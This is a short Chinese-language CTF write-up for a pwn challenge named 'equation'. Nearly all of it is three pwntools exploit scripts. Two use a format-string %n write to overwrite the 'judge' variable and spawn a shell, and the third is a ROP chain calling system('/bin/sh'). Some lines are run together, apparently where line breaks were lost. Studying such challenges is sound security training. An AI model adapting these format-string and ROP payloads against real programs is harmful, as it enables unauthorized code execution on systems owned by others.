查看保护
再看ida
很明了,题目就是让我们用格式化字符串漏洞修改judge的值(可以用python脚本进行计算,最终算出来得2)使等式成立,然后getshell。
虽然操作比较简单,但我还是列出了几种方法
解法一:
from pwn import*
context(log_level='debug')
p=process('./equation')
judge=0x60105Cpayload=b'bb'+b'%9$n'+b'aaa'+p64(judge)
p.sendline(payload)
p.interactive()
这个方法应该比较常见,这里不多解释。
解法二:
from pwn import*
context(log_level='debug')
p=process('./equation')
judge=0x60105Cpayload=b'b'+b'%1c%9$n'+b'b'+p64(judge)
p.sendline(payload)
p.interactive()
这里运用到了%c和%n的搭配,这里要注意栈帧结构,就是让judge的地址单独占一个栈帧,不然没有办法正确修改judge的值
解法三:
from pwn import*
p=process('./equation')system_plt=0x4004E0
sh=0x400774
pop_rdi=0x400753
ret=0x4004cepayload=b'a'*0x9+p64(ret)+p64(pop_rdi)+p64(sh)+p64(system_plt)
p.sendline(payload)
p.interactive()
这个是非正常解法,最好还是自己用格式化字符串漏洞去解。